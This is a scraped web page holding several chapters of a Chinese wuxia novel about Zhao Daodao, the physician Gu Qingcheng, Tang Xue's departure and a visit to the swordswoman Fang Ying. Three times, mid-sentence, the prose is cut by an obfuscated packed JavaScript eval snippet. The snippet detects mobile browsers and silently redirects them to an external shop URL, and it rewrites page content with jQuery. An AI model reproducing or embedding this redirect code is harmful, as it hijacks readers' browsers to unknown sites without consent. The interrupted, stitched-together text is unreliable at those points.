顾倾城还在笑,笑声混着雨声凄厉无比。 赵刀刀抹去脸上雨水,气势渐弱,缓缓道:“我只是希望,你……别再用这件事伤她了。” 顾倾城瞪着她:“你可怜她?她在唐家堡锦衣玉食,从小到大无忧无虑好不自在,你可怜她,世人都可怜她,谁来可怜可怜我?!” “如果……” 赵刀刀见她身着单薄,衣衫凌乱,在风雨中颤抖不已,眼眶和鼻子都红透了,楚楚可怜,话也有些说不下去了。 其实那一推已解了她心中所有怨气,顾倾城和唐雪的恩怨她浑然不知,也不知自己还留在这里到底是为了什么。 她叹了一口气。 抹开眼睛上的雨水。 赵刀刀沉默着将外衣脱下披在她身上。 因着病愈,她穿的衣服比顾倾城厚很多。 顾倾城似乎愣住了,又或是已经冻僵。 赵刀刀收回手,沉默片刻,道:“如果恨能让你活得更好,那也挺好的。” 她抿了抿唇,转身离开。 赵刀刀走了。 顾倾城翻过身来,无力地躺在悬崖上。 雨水不断从她的脸颊滑落,黑发凌乱的贴在脸上。 她不过二十有五,因着心思深沉,却从来没有被人当成过年轻姑娘,人们敬她畏她,本就是如她所愿,为什么今天被赵刀刀一说,反而心中不快,难道自己还真有几分小孩心性? 顾倾城慢慢蜷缩身子,抱着自己。 为什么,你总能遇到对你这么好的人呢? 唐堡主是,冰家人是,她的父母也是,现在,还多了赵刀刀? 她在流泪。 她在大笑。 她好冷。 顾倾城攥紧了赵刀刀留下的外套,想要遮住自己。 濒死的恐惧仿佛还笼罩着她。 过了好一会儿,她才喃喃道:“唐雪,我有些懂你为什么喜欢她了。” 峭壁上的风吹动了石子,雨越下越大。 唐雪躲在巨石之后,双目圆瞪,双手紧紧捂住嘴巴。 53. 手帕 阴云不散,雨一时半会儿不会停下。 街上油纸伞生意又好起来了。 行人在街上看不清面孔。 顾倾城躺在崖边,任由雨水无情飘落。 她松开了赵刀刀的外衫,突然掩面大笑起来。 不过是雨而已,适应了就不觉得冷了。 何况这样的冷,相比玄冰棺,相比她熬过的无数寒夜,根本算不上什么。 一想到自己来崖边这么多次,第一个找来的不是病人,也不是仇人,而是个不知仇恨为何的怪人,她忽然觉得更好笑了。 原来世上真有这种怪人。 她的笑声逐渐逐渐低沉下去,指缝间流落出晶莹的水珠,分不清是雨还是泪。 雨水从睫毛上滚落,唐雪紧紧捂住了嘴,力气大到快要不能呼吸。 她无论如何也想不到竟然会在这里遇上顾倾城。 顾倾城的衣裳已经被雨淋透,她倒在地上,瘦削脆弱,全然没了咄咄逼人的模样,像一朵摧折的花。 这是唐雪离开长廊之后第一次见她。 她还以为顾倾城这种人是不会受伤的。 唐雪转过身体,背靠巨石,久久无法平静。 那天和顾倾城在冰棺前的争吵犹在耳畔,当时她气急攻心,失去理智冲出廊道,等从浑浑噩噩中清醒过来,就发现自己来到了这片悬崖之上。 悬崖上没有路也没有人,只有一块巨石高耸。 唐雪发现只要将自己藏在石头的阴影中,世间就好像没有自己这个人一样,一天、两天,皆是如此。 在这无人知晓无人出现的天地间,她终于找到喘息的时机,渐渐平静下来。 这儿是个好地方,就是离母亲太远了,离赵刀刀也远。 冰家人走的那天她是知道的,这里风景太好,能看见长老他们离开的队伍。 那天冰长老等了很久才出发,唐雪知道他在等人,但她没有勇气出现。 那天夜里她梦到自己跟了上去,和冰家人与母亲道了别。 梦中醒来时已经过去两天。 唐雪全然不记得那两天的事,或许梦是真的,或许她的魂儿跟上了那个队伍,比她更有勇气地说了再见。 后来,明知母亲已经走远,她还是整日整日望着玄冰棺所在的方位发呆,一坐就是一天。 期间唐雪下山过两次。 一次是给唐二自己还安全的信号,唐二和父亲联系太多,她不想惊动父亲。 一次是去看赵刀刀,那时赵刀刀还在昏迷。 剩下的时间她几乎都待在这里。 唐雪不知道自己该如何面对他们,她无法面对任何人,只想躲在这里,不被任何人找到。 纵然伤心欲绝,她也绝不愿被看到这般潦倒模样,唐家人不是这样的软弱之辈,她更不是。 她只是忽然觉得自己有些多余。 顾倾城的话如利刃一般一刀一刀凌迟着她的心,比幽魅鬼影更让人辗转反侧。 她一直在想,自己是不是真的被保护的太好了,她只知道母亲生下她之后就不久于世,对顾家的种种恩怨半点不知,乍然知道,才发现自己的命好像也背负了别人的血,不知该如何补偿,如何面对。 即使知道父亲不会做那些事,其中一定有所遗漏,但顾家已经切切实实地遭受了不幸,一切都已无法挽回。 或许真像顾倾城说的,她要是一生窝囊地待在家里就好了,谁让她偏偏要来柳城? 可再给她一万次机会,她也一定会走进那个廊道,亲自看母亲一眼。 思绪如大雪将她埋没,唐雪还没想明白,就见顾倾城来了崖边。 她躲在石头后面不敢出声,又见到赵刀刀也跟了过来。 亏得这块巨石形状奇怪,她与恩人分站两边也能不被发觉。 恩人醒来了,看起来没事了,唐雪在这个好消息下打起了一点儿精神。 但正奇怪着赵刀刀为什么过来,却突然见她冲出吓人,顾倾城的胆儿还没被吓破,她的魂儿已经吓走了一半。 死死捂住嘴巴,才堪堪挡下喉咙里的尖叫。 唐雪不敢被她发现,等赵刀刀走后,才渐渐平复。 听她们交谈,她才明白过来,峦岳派的蒙面医生就是顾倾城,那伤药也是顾倾城的手笔。 唐雪只觉得果然如此,她忽然平静下来,她的心从未这样平静过。 即使所有的惊险都是顾倾城一手造成,即使还有更多她不知道的事,都已无所谓了。 恨意最终化作追随真相的决心,她听着二人的交谈,没有任何波澜,反而安心了些,就是觉得太对不住赵刀刀。 雨开始下了,有人离开了。 唐雪又见顾倾城在崖上大哭大笑。 她心里难过,憋了这么久,也经不住低声啜泣起来。 等雨再大,唐雪想着该回去了,起来却发现顾倾城还在那里。 她左右为难,终于做了决定,跑下山去。 顾倾城撑着身子坐起,连着那件外衫,她的衣服已经被淋了个透,也不知自己还在期待什么,只觉得可笑。 她抵着头,头顶的雨渐渐小了。 顾倾城不解抬头,唐雪将一把红色纸伞塞在她手里,一句话不说就跑走了。 倒也怪了。 她紧握着伞站起身,看着唐雪跑远。 第二天。 赵刀刀将自己一开始的那件蓝衣叠好捧起,放进一张布里绑着四角包好。 “已经不能再穿了。”赵小刀道。 “我知道,但我不想丢啊。”赵刀刀惋惜道,有些不舍地看着这件跟了自己一路的衣裳。 身上的伤好了,衣服上的破口却已经多到不能缝补。 “唉,这可是我花光全部身家买来的。” 赵小刀闻言一笑,“曾经的全部身家。” “钱要省着花!”赵刀刀撇撇嘴,抱怨道,“都怪顾倾城。” “你是在替唐雪生气吗?”赵小刀问。 赵刀刀一愣,“我没有呀。” 她一向忘得很快。何况昨天她那么忙,换了衣服,沐了浴,喝了药,还要在雨声伴着下入睡,她已经完全忘了崖上自己在想什么。 “我只是觉得,她俩不该变成那样的。就是……” 赵刀刀想了想,“唐雪很伤心,顾倾城也没有因此痛快多少吧。” “我是不懂啊。”她叹了口气。 “你和顾倾城说的那些话,都是真心话?”赵小刀问。 “你说哪句?那些话都是不经意脱口而出的,其实我也不知道自己在说什么。” 赵小刀轻笑一声:“我还以为你长大了。” 赵刀刀一愣,拍掌道,“我的确厉害了不少!我已经想起来了,小刀,你一定不知道那天我是怎么过的阵!我跟你说,我当时又感受到了那种人刀合一的感觉!” 她精神一振说起当时,感觉自己身上闪闪发亮,冲破了阴郁的天色,实在帅气极了。 赵小刀的确不知道这些,他有意识时赵刀刀已是强弩之末。 “看来等你好全就可以接着练下一层刀法了。”他问,“今天还要去找顾倾城吗?” “嗯。”赵刀刀缓下情绪。“昨晚没有人送药,我的伤大概好了,得去问问她。” 她已经收拾妥当,早上送药时辰也过了,没人来,赵刀刀准备出门。 雨下了一夜还没停,已由大雨化作绵绵细雨,似乎要无穷无尽地下下去。 她拿起门边的伞打开门。 赵刀刀的动作突然停下了。 门外站着一个人。 “恩人。” 唐雪笑着道。 她打着一把白伞,衣服是新的,神色一如往常,看不出任何端倪,仿佛从未失踪过。 赵刀刀侧开身子让她进屋,唐雪摇了摇头。 “恩人,我准备走了。” “去哪儿?”赵刀刀惊讶道。 “回唐家。”唐雪笑着道。“我出来这么久,爹爹该想我了,我也想他了。” “什么时候走,我陪你回分局?” “今天。”唐雪道,“不用啦,我自己回去就行,唐二已经在帮着准备马车了。” “雨还没停,等雨停再走吧?”赵刀刀看了看天气,皱眉道。 “不啦,其实……是家里有事,这事我已经拖了很久,不能再拖了,唐二也得尽快回去。”唐雪有些可惜,低落道,“恩人,明明已经在柳城,我却不能陪你找到那个人了。” “没事……”赵刀刀有些恍惚,她从没想过分别会来得这样突然。 唐雪忽然发现赵刀刀身上的衣服不是昨天那件,想起什么,问,“恩人穿的是顾倾城准备的衣服?” “嗯。”赵刀刀还在怔愣。 “分局那儿还放着很多衣裳,我回去叫人送来。”唐雪问,“恩人那件蓝衣呢,已经丢了吗?” “还在……” 唐雪笑道,“那衣服已经不能穿了吧,恩人既然舍不得丢,不如送给我?” “不了吧。”唐雪难得提出要求,赵刀刀却只能别扭地拒绝,摆手道,“那衣服太破了……” “可恩人很喜欢那件衣服。” “嗯……” “我也喜欢。”唐雪伸手道,“我打小就爱收拾破烂儿,恩人将它交给我,下次我送你一件新的,一模一样的。” 赵刀刀连道不用。 但几番推脱,她发现自己除了破衣裳竟也没有其他可以送给唐雪,只能不好意思地递过布包。 “你要是不喜欢就扔了。”她实在怕唐雪把这东西当作宝贝。“下次见我送你更好的。” 唐雪喜上眉梢,“那我等着啦,恩人可别忘了。” 赵刀刀点头。 看着唐雪离开,她连伞也来不及打就直奔顾倾城所在之处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382468|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾倾城正坐在那间四面设门的房内。 雨丝从屋外飘进。 小碟内的粉末搅出去了一点,桌上有些狼藉。她心不静,索性放下细簪。 她从暗格中取出一个雕花木盒,打开木盒,里面放着一张手帕。 顾倾城拿出手帕,看着手上的手帕一角绣着的雪花,针脚细密,栩栩如生。 她的指尖轻拂着那朵雪花。 顾倾城还记得自己母亲说,“我和你冰灵姨妈结拜姐妹,等她这胎生了,要是个小弟弟,就给你们定个亲事,要是个小妹妹,你们也当如亲姐妹一样相处,你可得好好照顾妹妹,不能每天只顾着自己玩了。” 她当时说什么? 她说:“我才不要弟弟,隔壁小义每天捉弄小姑娘,他们男孩都坏,要不是我厉害,他连我也要捉弄的!我只要妹妹,冰灵姨妈,你可一定要生个乖巧的小妹妹,我一定好好待她。”又看着母亲道,“妈妈,要不我教妹妹学医吧!啊,爹爹说过咱家医术不传外人……不过既然是妹妹,那也不算外人吧……” 母亲呵呵一笑说:“你冰灵姨妈还没生呢,就开始想着妹妹了?瞧你这么喜欢,如果真是个妹妹,妈妈做主跟你爹爹商量,你想做什么就去做,这样可好?” 后来呢?后来她真的有了个妹妹,但是一切都没有如想象般美好起来,冰灵难产去世,她父母为没能保住冰灵自责万分,唐雪刚刚出生体弱多病,父母心灰意冷又不得不寸步不离照顾友人之女,日夜忧思,归家途中被歹人乘虚而入,夺走医书,双双殒命。 顾倾城突然攥紧手帕,烦躁更盛。 自那时起,她恨极了自己的无能,恨极了那些无赖歹徒,也恨极了刚刚出世的唐雪。 因为唐雪,她家破人亡,流落街头,受尽折辱,如果不是遇上师父,冻死街角也无人知道。 而唐雪呢?她继续过她的好日子,从不知道有多少人因她而死,她被送到唐家堡,什么都不缺,受万千宠爱,无忧无虑的长大,从不知道有人因为她失去了一切。 此恨不共戴天。 此恨本当不共戴天的。 啪的一声。 一把黑刀拍在桌上。 顾倾城冷冷抬头,赵刀刀从上至下看着她。 “唐雪要走了。” 顾倾城过了好久才说了一声,“我知道。” 要不是赵刀刀耳力过人,这轻轻一声就要被当成错觉略过。 赵刀刀道:“你们……” 她也不知道自己站在什么立场,有什么资格问出这话,只是唐雪要走了,她们或许再也见不着了,“你……去见见她?” 顾倾城忽然扑哧一声笑了,“说你天真,你竟真的这么天真,你不会还想我跟她道歉吧?” 赵刀刀抿着唇,如果可以,她自然希望如此。 顾倾城幽幽道,“你昨天说的不错,恨能让我过的好,那也没什么不行的。” “我不会同她道歉的,你别想了。” 赵刀刀低头看了看自己的黑刀,思索着在顾倾城迷晕她之前自己先制服她的胜率有几成。 “不过另一件事倒可以商量。”顾倾城道。 赵刀刀一愣,“什么事?” “我可以带你去见那个人。” 顾倾城道,“现在你可以走了。” 赵刀刀拿起黑刀。 顾倾城已经收拾起桌上的东西,下了逐客令。 那天见过的香料还在桌上摆着。 赵刀刀沉默片刻,怕赶不上送行,只好离开。 赶在唐雪离开前,赵刀刀到了唐家分局。 周向晚已经在了,正在和唐二说话。 “恩人!”唐雪惊喜道,又怨道,“怎么不打伞?”她将赵刀刀拉进屋檐下避雨。 “我来送你。”赵刀刀道。 “不用这么麻烦的!”唐雪压不住翘起的嘴角,语重心长地叮嘱道,“我走之后,恩人可要好好养伤啊,不准再受伤了。” 赵刀刀点头,冲唐雪伸出手。 唐雪不明所以,疑惑地看着她。 她握住唐雪的手腕。 “保重。” 唐雪忽然鼻头一酸。 “恩人快回去吧。”她低下头,将手里的伞塞给赵刀刀。 赵刀刀摇头,一直等到马车来了,打着伞送唐雪上车,跟到城门口才离开。 唐雪坐在马车里摇摇晃晃,看着柳城大门被远远抛在身后,忽然有些伤感。 眼角一瞥,却看见一个包袱在地上散开。 她明明都收拾好了的啊? 唐雪拾起包袱将衣服塞了塞正要系好。 却突然静住。 她把衣服堆拨开。 她轻轻捡起那张手帕。 手帕上有些折痕,像被人仔细压平未果,索性不管了。 手帕透着淡淡粉色,一角绣着一朵雪花。 54. 青城 赵刀刀已经取回了剑缰和信。 她打算在顾倾城那儿问清楚后再告诉周向晚这事。 一早,周向晚继续去外面搜寻信息,赵刀刀则留在顾家,轻车熟路地来到顾倾城经常出现的地方。 出乎意料,这里竟然没有人,空荡荡的,一如赵刀刀忽然凉了的心。 顾倾城又在耍她? 赵刀刀看着门边荡起的幕帐,屋中干净的长桌,神色不明。 忽然有人拽了拽赵刀刀的袖子。 她脚步之轻,气息之弱,连赵刀刀都难以察觉。 赵刀刀心中一惊,不动声色地转头,是那个哑女。 “你来找我?” 哑女点点头,冲她腼腆地笑了笑。 她走到前方,示意赵刀刀跟上。 雨还没有停。 赵刀刀来时没有带伞,好在这次的路上都有屋檐挡雨,二人一前一后不紧不慢地走着。 脚步带起水花,雨滴从檐下滴落,赵刀刀忽然发现顾家静的不止是环境,更是人。 顾倾城难道不需要同人说话么? 快走到路的尽头,赵刀刀远远望去,就见朦胧绿意中一点红,是顾倾城独坐长亭。 哑女冲她笑了笑,后退一步。 赵刀刀同她道了谢,朝顾倾城走去。 她似乎在看雨,细雨绵绵,织入湖中,涟漪片片。 她似乎在怀念谁,出了神。 赵刀刀走近了。 她没有先问信的事,而是问起另一件百思不得其解的事,“你为什么会救我?” 顾倾城看了她一眼,淡淡道,“想救就救了。我救过很多人,全凭心情,心情好了,多一个不多,心情不好,少一个不少。” 只有她自己知道,更多的,或许是那一瞬间的心软。 昏暗长廊中那道永不后退的身影,是个算不上太傻的傻子。她为人坦荡却不愚信他人,心思灵敏却非狡猾之辈,甘愿为朋友两肋插刀,决定了一件事拼死也会做到,这样的一个人,顾倾城忽然不想让她折在此处。 她那会儿居然心情好吗…… 赵刀刀换了个问题,“你为什么伤我?” “我不想你死得太轻松。”顾倾城直白道,“我一开始想杀你。” 赵刀刀一愣,这么说,伤她竟然是顾倾城退而求其次的选择?“黑衣刺客是你找的?” “是。” “为什么?” “我说过了,我一开始想杀你。” “我们之前从未见过,无冤无仇,你为什么想杀我?”赵刀刀暗自思忖,顾倾城说她喜欢多管闲事,难道是因为不想她帮唐雪? “因为我不想你把信给她。”顾倾城望着湖面缓缓道。 赵刀刀一愣,“谁?” “方英。”顾倾城道,“我师父。” 赵刀刀将刀放在长椅上一同坐下,惊讶道,“我要找的那个人是你师父?” 顾倾城没有否定。 赵刀刀又问,“为什么你不想我把信给她?”难道方英真的做了对不住老板娘的事? 顾倾城忽然冷下声音,“因为世上没有人值得她那样等待。” 她越是敬佩方英,就越是替方英感到不值。 外面的人叫这里柳州,但几十年前,真正地道的柳城人对自己的家乡还有一种称谓——青城。 青城经常下雨,是一座墨绿的城市。 这里的一切经过水洗愈发厚重。 有人说,青城多雨是因为这座城市的罪孽太重。 青石板的街道血流成河。 打家劫舍,杀人放火,无恶不作。 有人从此孤苦无依,也有人因此一战成名。 是方英救下了这座城。 据说她早年行侠仗义,为磨练剑法游历至此,却一停数年,平定动乱,以一人一剑单挑大小流寇匪徒一百二十六人,终换得柳城太平。 青城人敬她爱她,她始终宠辱不惊平易近人,只说:“不用叫我方女侠了,叫我英娘就行。” 那时候也在下雨,一个月的大雨,洗刷了一切,洗净了罪恶。 人们为英雄和新生欢呼,却不知方英从此落下旧疾,每每阴雨,腿上湿寒难忍,再不可动气。 那一场大雨来势汹汹,分开了英娘与她的夫君,她的心上人,她的玉郎,柳琢玉。 顾倾城想到此处,表情带着显而易见的厌恶。 她本不知道师父已经嫁人这件事,师父也从没告诉过她,要不是周向晚找人时说漏了嘴,说赵刀刀身上的信物是方英夫君所给,她现在还要被蒙在鼓里。 赵刀刀一头雾水,按老板娘的语气,分明是方英做了错事,可顾倾城的表情不似作假,又好像是写信的人做错了,“为什么?” 顾倾城问,“一个人救了全城的人,算不算好人?” “当然算。” “如果你是她的朋友,知道她为了救人生了病,再也无法离开这里,会怎么做?” “如果是我……我会来看她,我会宣扬她的声名。”赵刀刀顿了顿,“我会找医生救她。” “连你这样的傻子都知道要亲自来找,口口声声说爱她的人却放她枯守柳州,自生自灭,连一封信都不肯寄来,这样的人难道值得她等吗?”顾倾城脸上隐隐有怒色。 “……不值得。” “她是个天大的好人,写信的却是个窝囊至极的负心汉。我师父将自己关在这里等了半生,到头等来的竟然是一封别人拿来的,不痛不痒的信。”顾倾城笑了一声,“呵,这就是她的心上人?” 赵刀刀沉默片刻,问,“她在哪儿?” “葬花深谷。”顾倾城道。 “我什么时候能见她?” “等雨停了。”顾倾城道。 雨声中二人静默不语,唯有涟漪泛起,久久不绝。 许久,赵刀刀拿起了黑刀,起身道,“我现在能练刀了么?” “随你。” 回到住处,赵刀刀练刀到深夜,雨水将她的头发浸湿,她的目光却越发坚定清晰。 老板娘没有看过信,顾倾城亦没有看过信,不论这封信是方英的心上人所写,还是一个负心汉所写,都与她无关。 她要做的,只是把这封信送到方英手中。 六月已快到尽头,雨终于停了。 周向晚神色激动,他从其他地方打听到了剑缰主人的事,得知方英是顾倾城师父,一连惊讶了很多天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399860|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我借着剑名一一询问,没想到真的有人知道!但这事实在太巧了,太怪了!方英怎么会是顾姑娘的师父呢?”他苦苦寻找那把剑,最终竟是无心插柳柳成荫,知道剑客所在的人就在身边! 周向晚像是在做梦,看向赵刀刀,“刀刀,凭你的本事,能看出顾神医的功夫么,难道她隐藏了身手?” 赵刀刀摇头,“她的功夫不如你。” “是啊,我也觉得,那就不会有错了,但是这样说不通啊,方英既然是她师父,为什么不教她呢?” 或许是她不想学,或许是方英教不了,或许是顾倾城那时已错过时间,赵刀刀在心中一一罗列着可能,但无论如何,“她不会功夫也比你我厉害。” 周向晚忽然蔫儿了下去,神情恍惚,“你说的对……她已经是神医了啊……” 说着,他的猜测又朝另一个方向狂奔而去,“莫非方英也是神医?” 赵刀刀禁不住扶额。 多亏雨停了,顾倾城派人来找,才停住了周向晚越发离奇的想象。 赵刀刀跟着带路人,心中微动,这条路似乎和悬崖是同一方向。 但顾倾城说过那地方是个山谷,他们走了一圈非但没走出顾家,甚至进了一间屋子。 顾倾城已经在等着了。 三人从这间昏暗的房间启程。 赵刀刀这才知道顾家还有一道门。 这门后面有一条细细长长的小路,不知道通向何处。 密林雾重,要不是此刻天气晴朗,正是一天最亮时候,或许他们已身处迷障,看不清道路。 三人慢慢走着。 这条路实在难走,下雨之后更是泥泞万分,湿滑无比。 顾倾城很久没见方英了。这雨来的虽坏,却停的正巧,后天就是师父生辰,她是厌恶那个人,但师父见到剑疆和故人来信,想必会开心一些。 周向晚想要见那把剑已久,初时心中还疑惑为什么雨后赶路,走到深山才想到,这里潮湿雾重,如果不是雨水冲刷,可能身前半丈也看不清。 这几天,每每想到绝世宝剑即将被自己捧在手上,连酒也没了滋味,夜夜畅想那把剑的模样,比小姑娘思春还要百转千回,激动不已。 只是心中不解。周向晚去找剑时,柳琢玉那处剑冢已毁,只有个小姑娘守在附近,他和方英夫妻一场,为什么不过来找她呢? 是了,柳城气候湿润,不适合炼剑。 那方英又为什么留在这里,一直不去寻他呢? 赵刀刀手中的信,应当是柳琢玉生前所留……想到此处,周向晚暗道一声可惜。这对夫妻真是奇怪的很,这样相敬如宾,怎么像是单纯的一人炼剑,一人使剑,没有更多联系了呢? 世人不知,方英和柳琢玉虽无夫妻之实,却早早私定终身,但知彼此注定聚少离多,将生辰交换,定下约定,每当对方生辰,不论身在何方,都要对剑许愿,以慰相思之情。 虽不能相拥缠绵,却也你中有我,我中有你,绝不会淡忘彼此。 到半夜,终于走出密林,遥遥看见一点灯火,几片农田,一座茅屋。 终于到了。 六月三更。 赵刀刀握紧了黑刀,她终于要见到那个人了。 55. 六月三更 额头微凉,赵刀刀抬起手,雨又下起来了,绵密如丝。 林中雾气随着烟雨弥漫开来,慢慢将来时的路严严实实地遮住。 三人走近屋子。 雨丝拍打在草叶和石头上听不到声音,屋檐的积水滴落在门口的水缸中,叮咚一声,溅起水花。 水缸里浮着一株荇菜,叶片像莲叶一般,接了雨水聚在中央,汇成一摊小小水洼,随着雨水变多,支撑不住又滑下去,叶子摇摇晃晃,水从缸的边缘溢出来。 方英不在。 顾倾城深吸一口气,上前去。 她在门框上轻敲两下,稍顿又敲了一下,等了片刻推开门,道:“我师父在山谷间开了一片花田,今年养了昙花,这会儿应该是出去看花了,先进来吧。” 进了屋子,有两盏灯还在烧,火苗微弱,屋中放了炭盆,里面的火已经灭了,底下能看见隐约火星,盆旁边堆着劈好的木柴。 顾倾城搬了凳子让周向晚和赵刀刀先坐,拿起旁边灭了的灯点着,拾着木柴慢慢把火生了起来。 她干完这些,坐下来道:“已经不早了,你们是等我师父回来还是先去休息?” 赵刀刀道:“我还不困。”她把黑刀解下来靠在自己腿旁,一手轻轻扶住刀柄,一手伸着烤火。 周向晚道:“等方前辈回来吧,我们远道而来,怎么能不打招呼就先去休息。” 顾倾城点点头,轻叹一口气,道:“那就一起等吧。” 一时无言。 赵刀刀鞋上沾了泥,这会儿干了,她挑了根细木棍把土块一点一点剥下去。 周向晚心中砰砰直跳,越是临近见面的时刻,他越是紧张。 只觉得过会儿进来的不是方英,而是发着光的一尊金人,最好她手里拿着剑,那剑也会跟着发光。 顾倾城有些苦恼,她太久没见师父了,方英一人住在这里,什么也不听,什么也不见,等下乍一进屋看见这一屋子人,不知道会作何反应。 火焰燃烧发出轻微的爆裂声响。 众人心思各异,沉默地等待着。 咯吱一声,门被推开了。 三人齐齐转头。 进来的是个面相慈祥的女人,穿着一身蓑衣,看着和普通农妇无二。甚至她手里拿着的斗笠已经破了好些口子。 周向晚有些失落,是斗笠啊,不是剑。 只是火光映着方英,开门那一瞬间还真觉得她浑身发着光。 赵刀刀浑身一震,方英刚进门扫来的眼神实在锐利,可是再看又没那股感觉了。 顾倾城起身道:“师父。” 赵刀刀和周向晚也站起行礼,齐声道:“方前辈。” 方英把斗笠收好放在门边,笑道:“我这难得这么热闹,都坐吧。” 她解了蓑衣也坐下来,看着顾倾城,“倾城,这些是你的朋友?” 顾倾城点点头。“师父,这是赵刀刀,她从晚镇来,带了信给您,这是周向晚,他是为剑而来。” 方英点点头。 赵刀刀临行前已经将剑疆取下叠好,此时和信一起取出正要递上。 方英摆摆手,“太晚了,我累了,你们这一路也累了吧,先去休息,明日的事,明日再说。” 赵刀刀犹豫了下,又把东西收好。 这屋子左右分了两间小房,本来是留给方英和顾倾城的。现在他们有三人,倒一时犯了难。 周向晚说自己不碍事,打算在地上将就一晚。 顾倾城道,“下雨了,地上太潮湿,我和赵刀刀挤一间,这里还有张塌,我收拾出来你睡。” 周向晚和赵刀刀听她说完才发现他们在的这间屋子还有一张长塌,只是上面摆满了杂物,高高垒起,很难注意到。 或许是为了防止落灰,杂物上面盖了张布,遮住了所有,周向晚一开始还以为这是个放东西的长几。 方英没管他们的事,快走进自己那间房时道:“倾城,收拾好过来。” “是。” 周向晚想帮忙,顾倾城摆手,“不用。” 她把塌上的东西抱下来放到一旁,道:“上面要是还有灰你就自己扫扫吧。” 说着去她自己的屋子抱了床被子过来放下。 周向晚道:“多谢顾姑娘了,剩下的我自己来就行。” 赵刀刀站着片刻,走进了屋里。 顾倾城进了方英那间。 方英正坐在床边。 这房间不大,简陋至极,只有一张床和床头一张小桌。 倾城站在方英对面,离她很近。 方英轻咳两声,道:“说说,你又做了什么坏事?” 她心知这徒儿那哪儿都好,就是不能放出去,否则非把这江湖搅个天翻地覆不可。 顾倾城低眉道:“没做成。” 方英脸上严厉之色渐缓:“我不罚你,你自己说。” 顾倾城便将自己为了采药出去,如何遇见唐雪,恨意死灰复燃,利用冰家人的种种内情一一道来。 她有些惧怕方英。 方英绝对是个好师父,但是她对待徒弟很严格,练功时就容不得一点偷懒,平常更是说一不二,决定什么就绝无更改的余地。 顾倾城至今还记得方英说要赶走她的那天。 那天方英一改往常,道,“我既然管不住你,你又何必拜我为师,你走吧。” 原来方英早看出她报仇心切,才总是告诉她医者仁心。 她跪地请求,立下誓言,拼尽全力才留了下来。 可她如今也没有报成仇,顾倾城在心中为自己开脱,垂下头等着方英的宣判。 方英叹了口气,有些无奈地看着自己唯一的弟子,道:“倾城,你不能总是这样。我要走了,以后没人管的住你了。” “师父,不要说这话!”顾倾城急忙道。 方英招手道,“你过来。” 顾倾城走上前去。 师父的眼神还很平和,她矮下身子,轻轻趴在方英膝上,方英的手轻轻抚上她的秀发。 “我看跟你来的那两个孩子都挺好,年轻人就该多交朋友,不要老是窝在院子里。” “师父,我不是——”顾倾城闻言想要抬头,却被方英微微施力阻止,她闷声辩解,“我没有跑,采药碰上只是偶然。” “我知道你怨我把你关在这里,你是采药碰上他们的,不是私自出城,我知道。”方英的声音难得这样温柔,“等我走了,你就自己拿主意吧。” “师父!”顾倾城有些慌了。 方英笑了一声,声音很轻:“傻孩子,恨能有多长久?百年之后不过黄土一捧。凭你的本事,在这世上活下去,留下名字,不难。” 顾倾城闷闷道:“师父,我这次真的想开了。” “倾城,你是你,人总要为自己活一回,不要被仇恨蒙了眼睛。” 顾倾城缓缓点头,感到方英往她手里塞了什么东西,棱角坚硬地戳在柔软手心,她咬着唇,眼里已有泪水,紧紧握住那东西。 方英轻声道:“倾城,这是你父母留下的最后一记药方,我替你保管至今,以后你要自己拿好了。” “师父!”她心中悲伤,知道这次师父是真的大限已至了。 她早就没有亲人,师父是她在这世上遇到的最后一个亲人,如今却也要离她而去了吗? “你先前说的人就是她吧?”方英问,“那个姓赵的小姑娘。” “嗯,她的刀法厉害,是您之外我见过最快的刀。”顾倾城的声音带着鼻音。 “让你这样佩服的人倒不多,明天我也跟她过过招,倾城,你去休息吧。” 顾倾城知道方英决定什么,旁人再说也无济于事,闭眼时泪掉下来,“是。” 回到自己房间。 顾倾城发现赵刀刀抱着黑刀盘坐,望着窗外发愣,破涕为笑,道:“你这么喜欢看雨,睡外面吧。” 也不知赵刀刀听没听见,顾倾城径自脱去鞋袜到里面躺下,用被子盖过头顶。 山里的天气比柳城更多变,第二天雨停了。 不过没有太阳,还阴着。 早上吃过清粥小菜。 赵刀刀与方英在屋前空地过招。 周向晚立在一旁,还有些没反应过来。 原来昨晚堆在塌上的东西不是杂物,而是一把剑! 一柄长剑啊! 他和大名鼎鼎的六月三更在一个屋里睡了一晚上,他竟浑然不知! 直到方英随手揭开那张平平无奇的破布,拎起那把剑时他才意识到。 周向晚顿时捶胸顿足,后悔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419388|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不已。 比武有什么好看!再给他一次机会,他只想回到昨天晚上,再好好看看那把剑。 赵刀刀全神贯注。 